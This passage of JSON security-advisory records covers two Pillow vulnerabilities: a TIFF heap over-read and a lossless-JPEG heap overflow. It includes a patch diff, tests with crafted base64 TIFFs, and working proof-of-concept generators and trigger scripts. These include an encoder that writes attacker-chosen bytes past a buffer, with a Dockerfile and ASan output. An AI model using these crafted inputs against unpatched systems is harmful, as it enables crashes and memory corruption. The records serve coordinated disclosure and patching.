b/Tests/test_file_libtiff.py\nindex 3d804ea4a..c08dfe77c 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):\n             with pytest.raises(OSError, match=\"decoder error -9\"):\n                 im.load()\n \n+    @pytest.mark.parametrize(\n+        \"data\",\n+        (\n+            # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that\n+            # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)\n+            # while libtiff ignores it and decodes 1 byte/pixel.\n+            (\n+                b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\"\n+                b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\"\n+                b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\"\n+                b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\"\n+                b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\"\n+                b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\"\n+                b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\"\n+                b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\"\n+                b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\"\n+            ),\n+            # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation\n+            # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)\n+            # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).\n+            (\n+                b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\"\n+                b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\"\n+                b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\"\n+                b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\"\n+                b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\"\n+                b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\"\n+                b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\"\n+                b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\"\n+                b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\"\n+                b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\"\n+                b\"EAAQAA==\"\n+            ),\n+        ),\n+    )\n+    @pytest.mark.filterwarnings(\"ignore:Metadata Warning\")\n+    def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -\u003e None:\n+        # The unpacker chosen by Pillow reads more bytes per row than libtiff\n+        # decoded, so the decoder must reject the image rather than read past\n+        # the end of its buffer\n+        with Image.open(io.BytesIO(base64.b64decode(data))) as im:\n+            with pytest.raises(OSError, match=\"decoder error -2\"):\n+                im.load()\n+\n     @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\"))\n     def test_save_multistrip(self, compression: str, tmp_path: Path) -\u003e None:\n         im = hopper(\"RGB\").resize((256, 256))\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..2ee6c5f0a 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {\n \n     TRACE((\"RowsPerBlock: %u \\n\", rows_per_block));\n \n+    // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel\n+    // than that, (at least) the last row of the block will have a read buffer\n+    // overflow.\n+    if (state-\u003ebits \u003e 32) {\n+        TRACE((\"Decode Error, unpacker bits %d \u003e 32\\n\", state-\u003ebits));\n+        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+        return -1;\n+    }\n+\n     if (!(TIFFRGBAImageOK(tiff, emsg) \u0026\u0026 TIFFRGBAImageBegin(\u0026img, tiff, 0, emsg))) {\n         TRACE((\"Decode error, msg: %s\", emsg));\n         state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n@@ -397,7 +406,7 @@ _decodeTile(\n ) {\n     INT32 x, y, tile_y, current_tile_length, current_tile_width;\n     UINT32 tile_width, tile_length;\n-    tsize_t tile_bytes_size, row_byte_size;\n+    tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;\n     UINT8 *new_data;\n \n     tile_bytes_size = TIFFTileSize(tiff);\n@@ -431,7 +440,8 @@ _decodeTile(\n         return -1;\n     }\n \n-    if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n+    unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8;\n+    if (tile_bytes_size \u003e (unpacker_row_byte_size * tile_length)) {\n         // If the tile size as expected by LibTiff isn't what we're expecting, abort.\n         // man:   TIFFTileSize returns the equivalent size for a tile of data as it\n         // would be returned in a call to TIFFReadTile ...\n@@ -439,6 +449,13 @@ _decodeTile(\n         return -1;\n     }\n \n+    // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n+    // row of the tile will have a read buffer overflow.\n+    if (unpacker_row_byte_size \u003e row_byte_size) {\n+        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+        return -1;\n+    }\n+\n     state-\u003ebytes = tile_bytes_size;\n \n     TRACE((\"TIFFTileSize: %d\\n\", state-\u003ebytes));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 4,178 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,\n# no sanitizer needed.  Pillow picks the row unpacker from its own IFD parse, libtiff sizes the\n# decode buffer from its parse; when they disagree the unpacker reads past state-\u003ebuffer and the\n# bytes land in the image.  Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's\n# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile\n# SIGSEGVs in copy4 \u003c- _decodeTile.  Runs in a few seconds.\nimport os, shutil, struct, subprocess, sys, tempfile, zlib\n\nW = tempfile.mkdtemp(); S, L = 3, 4\n\ndef tiff(entries, data):                      # little-endian classic TIFF, one IFD, tags in given order\n    data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)\n    ifd, extra = struct.pack(\"\u003cH\", len(entries)), b\"\"\n    for tag, typ, vals in entries:\n        if vals is None: typ, vals = L, [data_off]\n        raw = b\"\".join(struct.pack(\"\u003cH\" if typ == S else \"\u003cL\", v) for v in vals)\n        if len(raw) \u003e 4: raw, extra = struct.pack(\"\u003cL\", extra_off + len(extra)), extra + raw\n        ifd += struct.pack(\"\u003cHHL\", tag, typ, len(vals)) + raw.ljust(4, b\"\\0\")\n    return b\"II*\\0\" + struct.pack(\"\u003cL\", 8) + ifd + b\"\\0\" * 4 + data + extra\n\ndef tile(w, h, spp, photo):                   # one deflate tile, 8 bit/sample\n    d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))\n    return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +\n                [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)\n\nd = zlib.compress(bytes(range(256)) * 3)\nfiles = {\n  # Photometric count 2 (6,6): libtiff ignores tag -\u003e 1 B/px; Pillow keeps 6 -\u003e RGBX copy4 4 B/px (HEAD only)\n  \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]),\n  # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)\n  \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),\n  # strip, libtiff sees 8-bit YCbCr -\u003e _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -\u003e 6 B/px\n  \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),\n        (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),\n        (530, S, [1, 1])], d),\n  \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]),\n}\nfor n, b in files.items():\n    open(f\"{W}/{n}\", \"wb\").write(b)\n\nLOAD = r\"\"\"\nimport sys, warnings; warnings.simplefilter(\"ignore\")\nfrom PIL import Image\nim = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)\nim.load(); sys.stdout.write(im.tobytes().hex())\n\"\"\"\ndef run(name, perturb):\n    p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True,\n                       env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))\n    return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"]\n\nleak = False\nfor n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"):\n    r1, a, info = run(n, 85); r2, b, _ = run(n, 170)\n    print(f\"== {n}: {info[0]} rc={r1},{r2}\")\n    if r1 == 0 and r2 == 0 and a != b:\n        i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])\n        print(f\"   pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\")\n        print(f\"   PERTURB=85 : ...{a[i-8:i+40]}\\n   PERTURB=170: ...{b[i-8:i+40]}\")\n        leak = True\n    else:\n        print(\"   identical output / error -\u003e no leak observed\")\n\nrc, _, info = run(\"tile_big.tif\", 0)\nprint(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\"  (SIGSEGV)\" if rc == -11 else \"\"))\ncrash = rc == -11\nif crash and shutil.which(\"gdb\"):\n    bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD,\n                         f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout\n    print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\")))\nshutil.rmtree(W)\nprint(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:42:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96","https://nvd.nist.gov/vuln/detail/CVE-2026-112404","https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-c6hw-5grf-ff96"],"source_kind":"github","identifiers":["GHSA-c6hw-5grf-ff96","CVE-2026-112404"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.598Z","epss_percentage":0.00603,"epss_percentile":0.50199,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmh3LTVncmYtZmY5Ns4AB-fw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNmh3LTVncmYtZmY5Ns4AB-fw","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 8.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmh3LTVncmYtZmY5Ns4AB-fw/related_packages","related_advisories":[{"uuid":"CVE-2026-112404","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112404.json"},{"uuid":"UBUNTU-CVE-2026-112404","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112404","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112404"}]},{"uuid":"GSA_kwCzR0hTQS04ZzVnLTh2bXItOTc4Ms4AB-fv","url":"https://github.com/advisories/GHSA-8g5g-8vmr-9782","title":"Pillow: Heap buffer overflow in ImagingJpegDecode","description":"## Summary\n\n`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state-\u003exsize`, `state-\u003eysize` and `state-\u003ebits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` — `_setimage()`; `state-\u003ebuffer = calloc(1, state-\u003ebytes)` with `state-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n            if (context-\u003escale \u003e 1) {\n                context-\u003ecinfo.scale_num = 1;\n                context-\u003ecinfo.scale_denom = context-\u003escale;\n            }\n            ...\n        case 2:\n            if (!jpeg_start_decompress(\u0026context-\u003ecinfo)) {\n                break;\n            }\n            state-\u003estate++;\n            /* fall through */\n        case 3:\n            ok = 1;\n            while (state-\u003ey \u003c state-\u003eysize) {\n                ok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);\n```\n\nBecause `state-\u003eysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s \u003e= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s \u003e= 2`, i.e. `W // requested_w \u003e= 2` and `H // requested_h \u003e= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H \u003e= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . \u0026\u0026 docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n        wget gnupg lsb-release software-properties-common \\\n        python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n    \u0026\u0026 wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh \u0026\u0026 chmod +x /tmp/llvm.sh \u0026\u0026 /tmp/llvm.sh ${CLANG_VERSION} \\\n    \u0026\u0026 apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo \u0026\u0026 git checkout ${LIBJPEG_TURBO_TAG} \\\n    \u0026\u0026 cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n        -DCMAKE_C_COMPILER=clang-20 \\\n        -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n        -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n    \u0026\u0026 cmake --build /build/ljt -j\"$(nproc)\" \u0026\u0026 cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n    \u0026\u0026 /venv/bin/pip install --quiet --upgrade pip \"setuptools\u003e=80\" wheel pybind11 \\\n    \u0026\u0026 CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS -Wl,-rpath,/opt/ljt/lib\" \\\n       /venv/bin/pip install --no-build-isolation --no-deps . \\\n    \u0026\u0026 ln -sf \"$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)\" /opt/libasan.so \\\n    \u0026\u0026 LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \\\n       /venv/bin/python3 -c \"from PIL import Image, features; print(Image.__version__, features.version('jpg'))\"\n\nCOPY make_sof3.py /tmp/make_sof3.py\nCOPY trigger.py /tmp/trigger.py\nRUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg\n\nENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1\nENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer\nENV LD_PRELOAD=/opt/libasan.so\nCMD [\"/bin/sh\",\"-c\",\"cd /tmp \u0026\u0026 /venv/bin/python3 /tmp/trigger.py 2\u003e\u00261; echo EXIT=$?\"]\n```\n\n### `make_sof3.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.\n\nStandards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).\nRows carry an attacker-chosen marker byte pattern verbatim (lossless =\u003e exact).\n\"\"\"\nimport struct\nimport sys\n\nW = 1200\nH = 1100\nMARKER = b\"AAAABBBBCCCCDDDD\"  # attacker-chosen bytes that land past the buffer\n\n\nclass BitWriter:\n    def __init__(self):\n        self.out = bytearray()\n        self.acc = 0\n        self.n = 0\n\n    def put(self, value, nbits):\n        for i in range(nbits - 1, -1, -1):\n            self.acc = (self.acc \u003c\u003c 1) | ((value \u003e\u003e i) \u0026 1)\n            self.n += 1\n            if self.n == 8:\n                self.out.append(self.acc)\n                if self.acc == 0xFF:\n                    self.out.append(0x00)  # byte stuffing\n                self.acc = 0\n                self.n = 0\n\n    def flush(self):\n        while self.n:\n            self.put(1, 1)\n        return bytes(self.out)\n\n\n# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.\nBITS = [0] * 17\nBITS[5] = 17\nHUFFVAL = list(range(17))\nCODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}\n\n\ndef category(d):\n    if d == 0:\n        return 0\n    return abs(d).bit_length()\n\n\ndef build_pixels():\n    rows = []\n    for y in range(H):\n        row = bytearray()\n        while len(row) \u003c W:\n            row += MARKER\n        rows.append(bytes(row[:W]))\n    return rows\n\n\ndef main(path):\n    rows = build_pixels()\n    bw = BitWriter()\n    prev = None\n    for y in range(H):\n        row = rows[y]\n        for x in range(W):\n            s = row[x]\n            if y == 0 and x == 0:\n                pred = 1 \u003c\u003c 7          # 2^(P-1-Pt)\n            elif x == 0:\n                pred = prev[0]         # Rb for first sample of a line\n            else:\n                pred = row[x - 1]      # Ra, predictor 1\n            d = (s - pred) \u0026 0xFFFF\n            if d \u003e= 0x8000:\n                d -= 0x10000\n            ssss = category(d)\n            code, length = CODES[ssss]\n            bw.put(code, length)\n            if ssss:\n                v = d if d \u003e 0 else d + (1 \u003c\u003c ssss) - 1\n                bw.put(v \u0026 ((1 \u003c\u003c ssss) - 1), ssss)\n        prev = row\n    entropy = bw.flush()\n\n    out = bytearray()\n    out += b\"\\xff\\xd8\"                                        # SOI\n    # DHT: class 0 (DC/lossless), table id 0\n    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)\n    out += b\"\\xff\\xc4\" + struct.pack(\"\u003eH\", len(dht) + 2) + dht\n    # SOF3: lossless, Huffman, sequential\n    sof = struct.pack(\"\u003eBHHB\", 8, H, W, 1) + bytes([1, 0x11, 0])\n    out += b\"\\xff\\xc3\" + struct.pack(\"\u003eH\", len(sof) + 2) + sof\n    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0\n    sos = bytes([1, 1, 0x00, 1, 0, 0])\n    out += b\"\\xff\\xda\" + struct.pack(\"\u003eH\", len(sos) + 2) + sos\n    out += entropy\n    out += b\"\\xff\\xd9\"                                        # EOI\n    with open(path, \"wb\") as f:\n        f.write(bytes(out))\n    print(f\"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless\")\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/sof3_gray_1200x1100.jpg\")\n```\n\n### `trigger.py`\n\n```python\nimport sys\nfrom PIL import Image, features\nprint(\"Pillow\", Image.__version__, \"| libjpeg\", features.version(\"jpg\"), flush=True)\nim = Image.open(\"/tmp/sof3_gray_1200x1100.jpg\")\nprint(\"format=%s mode=%s size=%s\" % (im.format, im.mode, im.size), flush=True)\nprint(\"\u003e\u003e\u003e im.thumbnail((256, 256))  # draft() picks s=2 -\u003e 600-byte row buffer\", flush=True)\nsys.stdout.flush()\ntry:\n    im.thumbnail((256, 256))\n    print(\"thumbnail returned, size=%s\" % (im.size,), flush=True)\nexcept Exception as e:\n    print(\"exception: %r\" % (e,), flush=True)\n```\n\nValidated output:\n\n```\nPillow 13.0.0.dev0 | libjpeg 6.2\nformat=JPEG mode=L size=(1200, 1100)\n\u003e\u003e\u003e im.thumbnail((256, 256))  # draft() picks s=2 -\u003e 600-byte row buffer\n=================================================================\n==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422\nWRITE of size 1200 at 0x74e4e904aad8 thread T0\n    #0 __asan_memcpy\n    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5\n    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3\n    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3\n    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3\n    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22\n    #6 _decode /src/repo/src/decode.c:132:14\n\n0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)\nallocated by thread T0 here:\n    #0 calloc\n    #1 _setimage /src/repo/src/decode.c:230:34\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\n```\n\nNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it.\n\n```\ncontrol baseline DCT JPEG: JPEG L (1200, 1100)\nthumbnail OK, size = (256, 235) -- no ASan report\n```\n\n## Scope and caveats\n\n- Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.\n- Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo \u003e= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.\n- No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data.\n- Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today.\n- Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`.\n\n\n## Credit and disclosure\n\nFound by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.\n\nThis report follows Anthropic's coordinated vulnerability disclosure policy\n(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day\ndisclosure window from the date of this report.\n\nCredit goes to Claude (Anthropic) and Ada Logics.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-20T20:40:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782","https://nvd.nist.gov/vuln/detail/CVE-2026-112403","https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-8g5g-8vmr-9782"],"source_kind":"github","identifiers":["GHSA-8g5g-8vmr-9782","CVE-2026-112403"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.598Z","epss_percentage":0.01711,"epss_percentile":0.78056,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZzVnLTh2bXItOTc4Ms4AB-fv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ZzVnLTh2bXItOTc4Ms4AB-fv","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"